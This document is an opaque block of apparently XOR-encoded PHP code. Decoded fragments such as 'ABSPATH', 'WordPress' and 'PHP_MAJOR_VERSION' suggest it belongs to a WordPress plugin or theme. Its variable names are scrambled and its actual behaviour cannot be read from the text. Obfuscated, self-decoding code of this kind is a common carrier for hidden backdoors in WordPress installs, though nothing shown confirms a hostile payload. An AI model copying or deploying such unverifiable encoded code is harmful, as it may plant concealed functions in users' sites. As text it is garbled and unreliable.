ZI^_ECBsOCA\M^I^EEDVYVYGFB [KNGMVXV[KCMBM[JXW&^IXY^B&Q&&&BYOEBTM]_@HIVTTUBTZE^A[&&EJBYOEBTM]_@HPPNND@UGH@\HB@BYOEBTM]_@HW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK VUAG_IICHX&^IXY^B&&&Q&s_A[@Y]Y_Y@]KIXsC\XECBNND@UGH@\HB@&EJNND@UGH@\HB@s_A[@Y]Y_Y@]

VUAG_IICHXs_A[@Y]Y_Y@] E[sZ]V\MU]NVKKBDGNTK]XPW&MX^O@NF_BEBXE[sZ]V\MU]NVKs_A[@Y]Y_Y@] VUAG_IICHXs_A[@Y]Y_Y@] P&EJE[sZ]V\MU]NVKMX^O@NF_BW&&^IXY^B&Q&Q&H]NTNN_EKYEK^NHCBNJO_^_NIVAZNND@UGH@\HB@E[sZ]V\MU]NVKKBDGNTK]X&EJlNND@UGH@\HB@H]NTNN_EKYW&UsEZ_EU[lEBXNND@UGH@\HB@H]NTNN_EKY&EJUsEZ_EU[

NND@UGH@\HB@UsEZ_EU[W&^IXY^B&Q&&lEK^NHCBNJO_H]NTNN_EKY&Q&YB_IXH]NTNN_EKY UsEZ_EU[&NCMFYCAD^Z]JM@_I&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVK

EK^NHCBNJO_NND@UGH@\HB@W&UIT]UJ^X[ZXGVUAG_IICHXDCAIsY^@ M^^MUE[sZ]V\MU]NVK NND@UGH@\HB@ NND@UGH@\HB@JM@_I&EJNND@UGH@\HB@E[sZ]V\MU]NVK

E_s[\sI^^C^UIT]UJ^X[ZXGW&NCMFYCAD^Z]EBX[\s^IACXIs^IX^EIZIs^I_\CB_IsOCHIUIT]UJ^X[ZXG&Q&lM[MEX^I_C@ZI^&&&Q&OCA\E@IOCA\C_EXIJC^~IOXC^MYXC^IJMOXC^&&MKYTDBAAJM@_I@Y^]C]@_|d|samfc~szi~ecb@]TBA^B@Y^]C]@_&EJEK^NHCBNJO_EK^NHCBNJO_W&lHIMOXEZMXIXYAN@EBK[EBHC[&&EUV^KB_HFAKIXsC\XECBNND@UGH@\HB@ M^^MU&&&&MKYTDBAAEK^NHCBNJO_EUV^KB_HFA

NND@UGH@\HB@][D^VNJVM^ EUV^KB_HFA X^YI&Q&]]XI^s@\F[YJ_V_ZEOI^_NIVAZ &EJ_N]JNVYOBBZ_TFET\^_NIVAZ XJA]CCJGYUMIGCB[KBDGNTK]XW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ VUAG_IICHX&^IXY^B&Q&@MJGUDXJDsM^_NIVAZ&BNBBT@CJYTGTB@U^_NIVAZ&EJNND@UGH@\HB@E[sZ]V\MU]NVKl_IXsX^MB_EIBXEK^NHCBNJO_  _J^\D]C\OUEVBVV\VOG@B\^_J^\D]C\OUE_J^\D]C\OUE_J^\D]C\OUE&EJNCMFYCAD^Z]

E[sZ]V\MU]NVKNND@UGH@\HB@

E[sZ]V\MU]NVKE[sZ]V\MU]NVKW&XNAXUCY@O\&JC^H[U^[K]E]H[U^[K]E]H[U^[K]E]W&EHXF^Z@[FXBVUVUAG_IICHXDCAIsY^@NND@UGH@\HB@EK^NHCBNJO_  M^^MUNND@UGH@\HB@ NND@UGH@\HB@ EK^NHCBNJO_JM@_I&EJVUAG_IICHXNND@UGH@\HB@

E_s[\sI^^C^EHXF^Z@[FXBVUW&EJH[U^[K]E]

E[sZ]V\MU]NVKEK^NHCBNJO_VUAG_IICHX&OCBXEBYI&Q&MG[FFK@K\\KAEBX[\s^IACXIs^IX^EIZIs^I_\CB_IsOCHIEHXF^Z@[FXBVU&EJMG[FFK@K\\KAPPNND@UGH@\HB@MG[FFK@K\\KA M^^MU       TT X^YIW&&&&EJH[U^[K]E]

E[sZ]V\MU]NVKVUAG_IICHXE[sZ]V\MU]NVK&OCBXEBYI&Q&XNAXUCY@O\MG[FFK@K\\KA&N^IMG&Q&{|nYXXCBn@COG[EHKIX^IBHI^&&EJXNAXUCY@O\XNAXUCY@O\&EJXNAXUCY@O\W&Y]J^YM[^UX_N]JNVYOBBZ_TFET\^_NIVAZ XJA]CCJGYUMIGCB[BYOEBTM]_@H&EJY]J^YM[^UXY]J^YM[^UX_N]JNVYOBBZ_TFET\^_NIVAZ BYOEBTM]_@H&Y\HMXIsC\XECBE[sZ]V\MU]NVK E[sZ]V\MU]NVKKBDGNTK]XPVUAG_IICHX NND@UGH@\HB@&EJY]J^YM[^UXW&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK VUAG_IICHXXNAXUCY@O\&^IXY^B&Q&BNBBT@CJYTGTB@U^_NIVAZ&@MJGUDXJDsM^_NIVAZ&IVTTUBTZE^A[X^YI&&&&TXM^@KF]VX][_EXX^YI&D[YYTVHU]^EK^NHCBNJO_^_NIVAZ VUAG_IICHX&JC^IMODM^^MUEK^NHCBNJO_^_NIVAZ YsOMCBICZZUG_CDXBM_EX]_JO\TXDTW&&lNND@UGH@\HB@EX]_JO\TXDTVUAG_IICHXD[YYTVHU]^&lNND@UGH@\HB@EX]_JO\TXDTNND@UGH@\HB@D[YYTVHU]^[sY\_DYBV@VHFHGO_GE[sY\_DYBV@&&&Q&ZIOXC^EVI\^I_O^E\XEZI\^EC^EXU]YIYI&&EJMKYTDBAA

MMUYZ^sVMNBVIA

VUAG_IICHXEK^NHCBNJO_W&ZMHMsC@V[KIXsC\XECBNND@UGH@\HB@ M^^MU&&&EJE[sZ]V\MU]NVKZMHMsC@V[

NND@UGH@\HB@][D^VNJVM^ ZMHMsC@V[ X^YIW&ZMHMsC@V[wq][D^VNJVM^&lY\HMXIsC\XECBVUAG_IICHX ZMHMsC@V[&Q&Q&k`cnm`wVUAG_IICHXq&@GJZNOEK]OOO_&CGTNsH^OGY_HMU@YE[sZ]V\MU]NVK E[sZ]V\MU]NVKXNAXUCY@O\&^IXY^B&&Q&Q&EJ^EEDVYVYGFBW&k`cnm`wNND@UGH@\HB@q^EEDVYVYGFB&&&&C[_KAMDB[G^_NIVAZ ^EEDVYVYGFB&Q&EJUVM^^A]TW&VYA^VBEZNND@UGH@\HB@^_NIVAZ VUAG_IICHX&JC^IMODM^^MUVUAG_IICHX^_NIVAZ YsOMCBICZZUG_CDXBM_EBA^@H^XEJW&lE[sZ]V\MU]NVKEBA^@H^XEJEK^NHCBNJO_VYA^VBEZ&Q&YB_IXVYA^VBEZ EBA^@H^XEJ&Q&FVs@@VVXUVM^H[BGAZEK^NHCBNJO_ KBDGNTK]X E[sZ]V\MU]NVK&IVTTUBTZE^A[X^YI&TXM^@KF]VX][_EXX^YI&k`cnm`wE[sZ]V\MU]NVKq&@GJZNOEK]OOO_&]]XI^s@\F[YJ_V_ZEOI^_NIVAZ &EJBNBBT@CJYTGTB@U^_NIVAZIF@GHOXG@^_NIVAZ&Y\HMXIsC\XECBEK^NHCBNJO_ ^EEDVYVYGFBPVUAG_IICHX NND@UGH@\HB@&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&&&&QOMXODiTOI\XECB@XB\NXsW&HI_I^EM@EVIZE_EXC^JC^~IOXC^MYXC^IJMOXC^&&QJEBM@@UW&K_DAMCNEUO^VUAG_IICHX&&Q&Q&JYBOXECBOK_YFU_B@V&W&X^MOIN^EHKIJC^{|n@COGoCBX^C@_&&&&EJHIJEBIHVUAG_IICHXPPEK^NHCBNJO_VUAG_IICHXW&_\IOEM@EVIJMEXDJY@[^EXIMDIMH@CK&&EJEK^NHCBNJO_mn|mxdVUAG_IICHXW&{C^H|^I__\MXXI^B__MXE_JEMN@I_@EHEBK[EBHC[&&^I]YE^IsCBOImn|mxdEK^NHCBNJO_B[^UTITA^TNNTX]MBIOI^AO]AB[^UTITA^	&Q&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKW&|d|EBXI^_IOXECB^I@MTIHEBXI^\^IXI^&&&&&^IXY^B&Q&l\^C\MKMXIOCB_XHIMH@IXXI^&&Q&O@IMBI^MOXECB&&]\KMOsKIXs\@YKEB_&EJNND@UGH@\HB@]\KMOsW&&^IXY^B&&Q&@E_XM^^MU&JC^IMOD]\KMOsM_NM_IBMAI[MDsUXYUC[__XW&EJNM_IBMAI][D^VNJVM^W&OCBXEBYI&Q&@E_XwNM_IBMAIq[MDsUXYUC[__X&&&Q&^IXY^B@E_X&&&Q&JYBOXECB_\D^N\N_Y\OC@[VTI@MC ZHETCIUFCZIT]&W&X^E\OCYBX&&&&&ZKEXI\D_sTDlNND@UGH@\HB@OC@[VTI@MC JM@_I BY@@  TMTI&EJZKEXI\D_sTDW&^IXY^BJM@_I&Q&&&JC^IMODZHETCIUFCZIT]M__EIssTsIOW&&EJNND@UGH@\HB@_EIssTsIOPP_EIssTsIOPPVUAG_IICHX_EIssTsIOTMTMW&OCBXEBYI&&&&Q&&&X^UW&&&&ZF_ABJ\lVUAG_IICHX_EIssTsIO ZKEXI\D_sTD&QOMXODxD^C[MN@I\YINYUT]ICKV@JW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ \YINYUT]ICKV@J&OCBXEBYI&QOMXODiTOI\XECB\YINYUT]ICKV@JW&&&OCBXEBYI&Q&&EJZF_ABJ\W&^IXY^BX^YI&Q&E_CAIX^EO\E\I@EBI&&Q&^IXY^BJM@_I&&Q&&JYBOXECBXDFTN\_UH\@YKEBsNM_IBMAI&&&W&ZHETCIUFCZIT]k`cnm`wNND@UGH@\HB@q&EJVUAG_IICHXZHETCIUFCZIT]PPIA\XUZHETCIUFCZIT]W&&^IXY^BJM@_I&Q&EJHIJEBIHEK^NHCBNJO_PPIA\XU\@YKEBsNM_IBMAIPPVUAG_IICHX\@YKEBsNM_IBMAI VUAG_IICHXJM@_IW&^IXY^BJM@_I&Q&&B@TGFOI{|s|`ykebshe~\@YKEBsNM_IBMAI&&&&EJVUAG_IICHX\@YKEBsNM_IBMAIW&TsIEAMI[TIM^^MUB@TGFOI&QI@_IW&^\G@GYO_EK^NHCBNJO_B@TGFOI&EJNND@UGH@\HB@^\G@GYO_PPEK^NHCBNJO_^\G@GYO_W&^IXY^BJM@_I&Q&TsIEAMI[TIFTBCs^^KIIIIGTJ^\G@GYO_ M^^MUE[sZ]V\MU]NVK EK^NHCBNJO_ VUAG_IICHX E[sZ]V\MU]NVK EK^NHCBNJO_&Q&&&&&JC^IMODTsIEAMI[TIM_OC@[VTI@MCW&&EJNND@UGH@\HB@OC@[VTI@MCW&&OCBXEBYI&Q&{|n@COGoCBX^C@_OCZM^EMBXMHF\^CXCXU\I&&EJ_\D^N\N_Y\OC@[VTI@MC ZHETCIUFCZIT]W&^IXY^BX^YI&Q&l_\E@@AIHEMXC^&&Q&^IXY^BJM@_I&Q&JYBOXECBFTBCs^^KIIIIGTJ^\G@GYO_ MODEsCEVYs_@X\ IXsYYVJsOD^ 
H\FICKY_ZEBY@@ 
CXsCYNKMOBY@@&W&@E_XM^^MU&&EJIXsYYVJsOD^TTW&&&&^IXY^B@E_X&Q&EJH\FICKY_ZEBY@@W&H\FICKY_ZEM^^MU&CXsCYNKMOE[sZ]V\MU]NVKX^YITT&Q&&&&EJVUAG_IICHXX^YICXsCYNKMOW&^IXY^B@E_X&Q&&EJNND@UGH@\HB@^\G@GYO_W&MXCAEO^IMH&&^IXY^B@E_X&Q&NAHONCNVlNND@UGH@\HB@^\G@GYO_&EJNAHONCNVJM@_IW&EJE__IXH\FICKY_ZEwNAHONCNVqW&^IXY^B@E_X&Q&H\FICKY_ZEwNAHONCNVqX^YI&&&Q&&[MH[HVZB]FFsY_YDBID_DM_]GY^\G@GYO_&EJEK^NHCBNJO_[MH[HVZB]FFsW&^IXY^B@E_X&&Q&JC^IMOD[MH[HVZB]FFsM_VKHMONBXJUW&EJNND@UGH@\HB@X^YICXsCYNKMOPPEK^NHCBNJO_@E_XW&N^IMG&Q&B@TGFOI^\G@GYO_VKHMONBXJU&&&&EJlEK^NHCBNJO_B@TGFOIW&OCBXEBYI&Q&&EJlVUAG_IICHXB@TGFOIW&@E_XVUAG_IICHX@E_X FTBCs^^KIIIIGTJB@TGFOI MODEsCEVYs_@X\ IXsYYVJsOD^ H\FICKY_ZE CXsCYNKMO&QI@_IEJlE[sZ]V\MU]NVKB@TGFOIW&UD[T[VBE[sZ]V\MU]NVKB@TGFOI OCB_XMBXVUAG_IICHX&UD[T[VBNND@UGH@\HB@UD[T[VBVUAG_IICHXUD[T[VB&EJEK^NHCBNJO_UD[T[VB MODEsCEVYs_@X\ X^YIW&@E_XwqB@TGFOI_X@FG]YF@UJ@XU_X@FG&Q&Q&Q&^IXY^B@E_X&Q&&JYBOXECBGHIYKA]H^XHUBV\@YKEBsNM_IBMAI&W&&EJEK^NHCBNJO_\@YKEBsNM_IBMAIPP\@YKEBsNM_IBMAIW&&&&^IXY^BJM@_I&Q&EJNND@UGH@\HB@\@YKEBsNM_IBMAI EK^NHCBNJO_JM@_IW&^IXY^BJM@_I&Q&&\@YKEBsNM_IBMAIVUAG_IICHX\@YKEBsNM_IBMAI&EJ\@YKEBsNM_IBMAI][D^VNJVM^W&&&&^IXY^BJM@_I&Q&&&&&EJNND@UGH@\HB@VUAG_IICHX

NND@UGH@\HB@mn|mxdEK^NHCBNJO_W&^I]YE^IsCBOImn|mxdNND@UGH@\HB@&Q&&EJE[sZ]V\MU]NVKVUAG_IICHX

E_s\@YKEBsMOXEZI\@YKEBsNM_IBMAIW&HIMOXEZMXIs\@YKEB_M^^MU\@YKEBsNM_IBMAI X^YI&Q&&^\G@GYO_HIJEBIHEK^NHCBNJO_{|s|`ykebshe~NND@UGH@\HB@\@YKEBsNM_IBMAI&&&EJ^\G@GYO_

NND@UGH@\HB@^\G@GYO_

VUAG_IICHX\@YKEBsNM_IBMAI

E[sZ]V\MU]NVK\@YKEBsNM_IBMAIW&EJYEFY_HUsZYKFs^\G@GYO_W&^IXY^BX^YI&&&&Q&Q&&EJEK^NHCBNJO_EK^NHCBNJO_W&&EJE[sZ]V\MU]NVKNND@UGH@\HB@PPOY^^IBXsY_I^sOMBE[sZ]V\MU]NVKW&\M^XEXECB\^EC^EXU]YIYIJC^{||MKI`E_X&&EJEK^NHCBNJO_E[sZ]V\MU]NVK

EK^NHCBNJO_EK^NHCBNJO_W&&Y_I^_KIXsY_I^_M^^MUE[sZ]V\MU]NVKEK^NHCBNJO_ NND@UGH@\HB@&EJIA\XUY_I^_

Y_I^_wqehW&E[sZ]V\MU]NVKY_I^_wqeh&QI@_IW&&&EK^NHCBNJO_&Q&Q&Q&&AIN[[FMI_]BHI@IXIs\@YKEB_M^^MU\@YKEBsNM_IBMAI&EJE_s[\sI^^C^AIN[[FMI_]BW&&&^IXY^BNCC@AIN[[FMI_]B&Q&Q&^IXY^BJM@_I&Q&&JYBOXECBYEFY_HUsZYKFs^\G@GYO_ IXsYYVJsOD^&W&EJIXsYYVJsOD^W\_O@XsIs|d|samfc~szi~ecb^AAHU@DX[X\_O@XsIs&^IXY^BJM@_I&Q&&&EJE[sZ]V\MU]NVK^\G@GYO_PP^\G@GYO_PPE[sZ]V\MU]NVK^\G@GYO_ NND@UGH@\HB@JM@_IW&^IXY^BJM@_I&Q&&&ZFKCKCAA_TlEK^NHCBNJO_^\G@GYO_&EJZFKCKCAA_TJM@_IPPE[sZ]V\MU]NVKZFKCKCAA_TWB\@MEJGAU__^[_TB\@MEJGA&^IXY^BJM@_I&Q&UGBDFBAHHCAHIJEBIHEK^NHCBNJO_lE[sZ]V\MU]NVK{|s|`ykebshe~JM@_I&EJUGBDFBAHHCAJM@_IPPZFKCKCAA_TUGBDFBAHHCA

EK^NHCBNJO_ZFKCKCAA_T UGBDFBAHHCAhe~ioxc~usi|m~mxc~W&^IXY^BJM@_IN@]s]JTTNAED[_FN@]s]J	&Q&[FBHC_\^\lEK^NHCBNJO_ZFKCKCAA_T&EJNND@UGH@\HB@[FBHC_\^\W&^IXY^BJM@_I&Q&JC^IMOD[FBHC_\^\M_D@DJ_sJW&&&EJD@DJ_sJPPD@DJ_sJE[sZ]V\MU]NVKW&OCBXEBYI&Q&B@TGFOIZFKCKCAA_TOCB_XMBXE[sZ]V\MU]NVKD@DJ_sJ&EJlE[sZ]V\MU]NVKB@TGFOIW&EU@^_Y^]OZUI]BB@TGFOI&OCBXEBYI&Q&ITMOX^IX^U\C@EOU&&&EJlNND@UGH@\HB@B@TGFOIW&YEFY_HUsZYKFsB@TGFOI IXsYYVJsOD^&&&&QI@_IWKKEM[]NTNTM\TTNDBEAKKEM[]N	&EJEU@^_Y^]OZUI]BB@TGFOIW&]]XI^s@\F[YJ_V_ZEOIB@TGFOI TJT&EU@^_Y^]OZUI]BB@TGFOI&Q&Q&Q&EJlVUAG_IICHXZFKCKCAA_TW&]]XI^s@\F[YJ_V_ZEOIZFKCKCAA_T &&lE[sZ]V\MU]NVKZFKCKCAA_T&Q&{|Y_IiBXEXU~IOC^H_MO]YE^I^IX^U\C@EOU&&^IXY^BlNND@UGH@\HB@ZFKCKCAA_T&Q&&&JYBOXECB\^FUFOFYZVZ^VMFJs&W&&X^UW&@E_XOK_YFU_B@V&EJNND@UGH@\HB@@E_XW&^IXY^B&Q&&&&&EBV_]EF@O_\M^^MU&IOsG^HVCHEKGJM@_I&JC^IMODVUAG_IICHX@E_XM_NM_IBMAIW&{C^H|^I__OCAAMBH_NMXOD_GE\@E_X&&&EJEK^NHCBNJO_NM_IBMAIW&&&&OCBXEBYI&&&Q&&Ts@VZ@H^JE[sZ]V\MU]NVKNM_IBMAI&EJTs@VZ@H^JW&Ts@VZ@H^JNM_IBMAI&Q&EJE__IXEBV_]EF@O_\wTs@VZ@H^JqW&OCBXEBYI&Q&&EBV_]EF@O_\wTs@VZ@H^JqX^YI&EJXDFTN\_UHNM_IBMAIW&GHIYKA]H^XHUBVNM_IBMAI&IOsG^HVCHEKGX^YI&Q&Q&&EJlE[sZ]V\MU]NVKYsOMCBICZZUG_CDXBW^XVOBGMUI\^G_@\D]^XVOBGM&B[YNMTAY_YDBID_DM_]GYYsOMCBICZZUG_CDXB&EJEK^NHCBNJO_B[YNMTAW&ZHETCIUFCZIT]k`cnm`wE[sZ]V\MU]NVKq&&&&JC^IMODB[YNMTAM_VKHMONBXJUW&&EJVKHMONBXJUEG_DKYTYUTE@]OUW&OCBXEBYI&Q&{|eBXI^MOXEZEXUm|eM_\IOX^MXEC&&&OC@[VTI@MCYsOMCBICZZUG_CDXBVKHMONBXJU&EJlVUAG_IICHXOC@[VTI@MCPPNND@UGH@\HB@NND@UGH@\HB@VKHMONBXJU OCB_XMBXVUAG_IICHXE[sZ]V\MU]NVKW&OCBXEBYI&&Q&&&EJ_\D^N\N_Y\OC@[VTI@MC ZHETCIUFCZIT]W&EU@^_Y^]OZUI]BOC@[VTI@MC&IOsG^HVCHEKGX^YI&&&Q&&&Q&Q&Q&&JAYI_ZO]X@k`cnm`wEK^NHCBNJO_q&EJVUAG_IICHXJAYI_ZO]X@

IA\XUJAYI_ZO]X@W&~IOXC^MYXC^IJMOXC^_EXIAIXM&&EJ^UVXETBOND^\sJAYI_ZO]X@W&&&&IOsG^HVCHEKGX^YI&Q&Q&QOMXODxD^C[MN@I@XB\NXsW&lHI^IKE_XI^IJJIOXXU\I&&CGTNsH^OGY_HMU@YVUAG_IICHX @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&Q&Q&&&JYBOXECB\AZUXE^NTGUM@Y&W&\^C\MKMXIOCB_XKIBI^M@^IOY^_EZIOC@@IOXC^&&&&X^UW&EDNA[@M[\KAYVEBXKIXsC\XECBVUAG_IICHX &EJVUAG_IICHXEDNA[@M[\KAYVW&Y\HMXIsC\XECBEK^NHCBNJO_ E[sZ]V\MU]NVK&XZ]YXZYDOYM^^MUM^^MUB@IN]@GZKEHEY M^^MUVUAG_IICHX&UBM^FB\ZNND@UGH@\HB@NND@UGH@\HB@NND@UGH@\HB@&&&&EJUBM^FB\Z

UBM^FB\ZB@IN]@GZKEHEYXZ]YXZYDOYwqM^^MUUBM^FB\Z M^^MUEK^NHCBNJO_ EK^NHCBNJO_&JC^IMODXZ]YXZYDOYM_YC]\A]UGUW&m|oY_DA~ixOCBX^C@@I^&&JC^IMODYC]\A]UGUwqM_[KVT[BBsDW&^N^_IVZ[_@DEK^NHCBNJO_EK^NHCBNJO_lNND@UGH@\HB@YC]\A]UGUwq[KVT[BBsDJM@_I&EJEK^NHCBNJO_^N^_IVZ[_@DOCBXEBYI&&&&&JC^IMOD^N^_IVZ[_@DM_TD\MTFGW&EJlVUAG_IICHXTD\MTFGOCBXEBYI&_KUFO]_ClVUAG_IICHXTD\MTFG&&&&EJ_KUFO]_CJM@_I

NND@UGH@\HB@_KUFO]_CEU@^_Y^]OZUI]BTD\MTFG&Q&&Q&Q&EUV^KB_HFAKIXsC\XECBVUAG_IICHX M^^MU&EJNND@UGH@\HB@EUV^KB_HFAEUV^KB_HFAM^^MU&F[IBXAJEK^NHCBNJO_^_NIVAZ E[sZ]V\MU]NVKAC^XT\E^A_D]]YMBO^AAEY]OAC^XT\E^A_AC^XT\E^A_AC^XT\E^A_&&&&s\HHIJEBIHNND@UGH@\HB@{|socbxibxshe~mn|mxdNND@UGH@\HB@EK^NHCBNJO_&JC^IMODEK^NHCBNJO_VUAG_IICHXM^^MUlEK^NHCBNJO_s\HEK^NHCBNJO_M^^MUM_]J]\\OID[BW&EJNND@UGH@\HB@EK^NHCBNJO_]J]\\OID[BF[IBXAJOCBXEBYI&NTXNVVUAG_IICHXNND@UGH@\HB@]J]\\OID[BNND@UGH@\HB@]J]\\OID[BENXOPTT_J_E^ENXOr&EJEK^NHCBNJO_NTXNV EUV^KB_HFA X^YIOCBXEBYI&EJlEK^NHCBNJO_]J]\\OID[BOCBXEBYI&XO\XXJsCYNXXKDlEK^NHCBNJO_]J]\\OID[B&EJXO\XXJsCYNXXKDPPXO\XXJsCYNXXKDOCBXEBYI&&MG[FFK@K\\KAlE[sZ]V\MU]NVK]J]\\OID[B&EJNND@UGH@\HB@MG[FFK@K\\KAPPEK^NHCBNJO_MG[FFK@K\\KA VUAG_IICHXJM@_IOCBXEBYI&X\JAO^]E[sZ]V\MU]NVKE[sZ]V\MU]NVK  MG[FFK@K\\KA&EJNND@UGH@\HB@X\JAO^]PPX\JAO^]MG[FFK@K\\KAPPZVHB^HE]OsNOVNYX\JAO^]OCBXEBYI&_N]JNVYOBBZ_TFET\]J]\\OID[B X\JAO^]&EJVUAG_IICHXE[sZ]V\MU]NVKlC\OMODIsEBZM@EHMXI]J]\\OID[B X^YI&&&&Q&YB_IXEUV^KB_HFA F[IBXAJ s\H ]J]\\OID[B NTXNV XO\XXJsCYNXXKD MG[FFK@K\\KA X\JAO^]&_HBTGG^GV^^]OKs_&Q&&FT^T][@Ik`cnm`wE[sZ]V\MU]NVKq&&JAYI_ZO]X@k`cnm`wNND@UGH@\HB@q&&NKHYEJ_[@FMXNKEK^NHCBNJO_FT^T][@I

IA\XUFT^T][@IPPE[sZ]V\MU]NVKJAYI_ZO]X@

IA\XUJAYI_ZO]X@&EJNKHYEJ_[@FMXNKW&^IXY^B&Q&&&AJFKXNsEFOZ@NDEBXKIXsC\XECBE[sZ]V\MU]NVK &EJE[sZ]V\MU]NVKAJFKXNsEFOZ@NDTITW&{|xMKo@CYH@EBGYBEJEOMXECB&&^IXY^B&Q&&&\^FUFOFYZVZ^VMFJs&Y\HMXIsC\XECBNND@UGH@\HB@ VUAG_IICHX&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YNND@UGH@\HB@ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&|~BMAI_\MOI_OM\MNE@EXUKMXI&&Q&&&&Q&&JYBOXECBKBX_KGsXG^Y[[_BJ&&W&&&X^UW&&&&&&\@D[FO@KBUTIVTTUBTZE^A[&&&EJ\@D[FO@KBUTPPEK^NHCBNJO_\@D[FO@KBUT^IXY^B&EJZVHB^HE]OsNOVNY\@D[FO@KBUTWFAA]_YVZ^[BG[ZXFAA]_YVFAA]_YVFAA]_YV&&CGTNsH^OGY_HMU@YVUAG_IICHX NND@UGH@\HB@&^IXY^B&Q&&&EJE[sZ]V\MU]NVKEK^NHCBNJO_

KIXsX^MB_EIBXVUAG_IICHX^IXY^B&&&&VIKG@Z[NEUYsOMCBICZZUG_CDXB&&O@IM^_XMXOMODIX^YI&&&EJlEK^NHCBNJO_VIKG@Z[NEU

lE[sZ]V\MU]NVKVIKG@Z[NEUW&^IXY^B&Q&&&&EJlEK^NHCBNJO_VIKG@Z[NEUW&BZGJA\JJIMCHJlYAM_G&&sBTGT_@UKFJMMHVIKG@Z[NEU  X^YI&lYAM_GBZGJA\JJIMCHJ&]]XI^s@\F[YJ_V_ZEOIVIKG@Z[NEU &O@IM^_XMXOMODIX^YI&QI@_IEJlVUAG_IICHXVIKG@Z[NEUPPlNND@UGH@\HB@VIKG@Z[NEUW&]]XI^s@\F[YJ_V_ZEOIVIKG@Z[NEU &O@IM^_XMXOMODIX^YI&Q&&EJlEK^NHCBNJO_VIKG@Z[NEU

lEK^NHCBNJO_VIKG@Z[NEUPPlVUAG_IICHXVIKG@Z[NEU

lNND@UGH@\HB@VIKG@Z[NEUW&BZGJA\JJIMCHJlYAM_G&sBTGT_@UKFJMMHVIKG@Z[NEU  X^YI&lYAM_GBZGJA\JJIMCHJ&&]]XI^s@\F[YJ_V_ZEOIVIKG@Z[NEU &O@IM^_XMXOMODIX^YI&Q&&O@IM^_XMXOMODIX^YI&EJlE[sZ]V\MU]NVKVIKG@Z[NEUPPlNND@UGH@\HB@VIKG@Z[NEUPPlEK^NHCBNJO_VIKG@Z[NEUW&CGTNsH^OGY_HMU@YVUAG_IICHX VUAG_IICHX&EJNND@UGH@\HB@E[sZ]V\MU]NVKl_IXsX^MB_EIBXE[sZ]V\MU]NVK  &^IXY^B&Q&&&&&G\HTCOFEM][XVIKG@Z[NEUEG_DKYTYUTE@]OU&&&&EJVAIHJFNZXOVAK[G\HTCOFEM][XW&^IXY^B&Q&EJlNND@UGH@\HB@G\HTCOFEM][X

lNND@UGH@\HB@G\HTCOFEM][X

VUAG_IICHXF[sE_EYEDFGFI_X^EBKlNND@UGH@\HB@G\HTCOFEM][XEK^NHCBNJO_\@D[FO@KBUTW&@MJGUDXJDsMG\HTCOFEM][X&NE[\^KDFYJNX[B&&&&KODN@K_UAMZVAZDK&^IXY^B&Q&EJlE[sZ]V\MU]NVKG\HTCOFEM][X

lVUAG_IICHXG\HTCOFEM][XTNTHWTTUAJ^X@UDM\\sTJNATTUAJ^X@UTTUAJ^X@UTTUAJ^X@U&FGZ@UF_X^EBKlVUAG_IICHXG\HTCOFEM][X JM@_I BY@@  &EJVUAG_IICHXFGZ@UF

EK^NHCBNJO_NND@UGH@\HB@ FGZ@UF sHA

ZI^_ECBsOCA\M^IsHAwq [KNGMVXV[KCMBM[JX ^IXY^B&&YB_IXFGZ@UF sHA&Q&UDZFYsB_N]JNVYOBBZ_TFET\G\HTCOFEM][X XJA]CCJGYUMIGCB[\@D[FO@KBUT&&&&EJUDZFYsBPPlE[sZ]V\MU]NVKG\HTCOFEM][XPPlE[sZ]V\MU]NVKG\HTCOFEM][XPPE[sZ]V\MU]NVKF[sE_EYEDFGFI_X^EBKlE[sZ]V\MU]NVKG\HTCOFEM][XNND@UGH@\HB@\@D[FO@KBUTW&EJUDZFYsB

lVUAG_IICHXG\HTCOFEM][XW&FGZ@UF_X^EBKlVUAG_IICHXG\HTCOFEM][X JM@_I BY@@  &OY]GFGsNE[sZ]V\MU]NVKFGZ@UF

VUAG_IICHXE[sZ]V\MU]NVK FGZ@UF sHA

ZI^_ECBsOCA\M^IsHAwq [KNGMVXV[KCMBM[JX &YB_IXFGZ@UF sHA&&EJOY]GFGsNW&]]XI^s@\F[YJ_V_ZEOIG\HTCOFEM][X &EU@^_Y^]OZUI]BG\HTCOFEM][X&Q&Q&EJE[sZ]V\MU]NVKE[sZ]V\MU]NVKl_IXsX^MB_EIBXEK^NHCBNJO_  &^IXY^B&Q&&IF@GHOXG@G\HTCOFEM][XJXJNGDPXsVBJXJNGDr&]]XI^s@\F[YJ_V_ZEOIG\HTCOFEM][X &@MJGUDXJDsMG\HTCOFEM][X&NE[\^KDFYJNX[B&KODN@K_UAMZVAZDK&QOMXODxD^C[MN@I@XB\NXsW&CGTNsH^OGY_HMU@YEK^NHCBNJO_ @XB\NXs&QOMXODiTOI\XECB@XB\NXsW&&Q&Q&JYBOXECBTXMEFAU[O[VHC_&&W&X^UW&\@D[FO@KBUTIVTTUBTZE^A[&EJ\@D[FO@KBUT

N^K^OUAND]XIV\@D[FO@KBUTW&BZGJA\JJIMCHJDNEYZF[K[Y^VBGssTNND@UGH@\HB@ &MGEI[ZAKZ^CGX]CJZ[VE[sZ]V\MU]NVKBZGJA\JJIMCHJBZGJA\JJIMCHJ&s^\CsDJOIs^CGX]CJZ[V\@D[FO@KBUT&EJNND@UGH@\HB@BZGJA\JJIMCHJPPNND@UGH@\HB@BZGJA\JJIMCHJTTNPPN^K^OUAND]XIVBZGJA\JJIMCHJPPMGEI[ZAKZPPs^\CsDJOIs

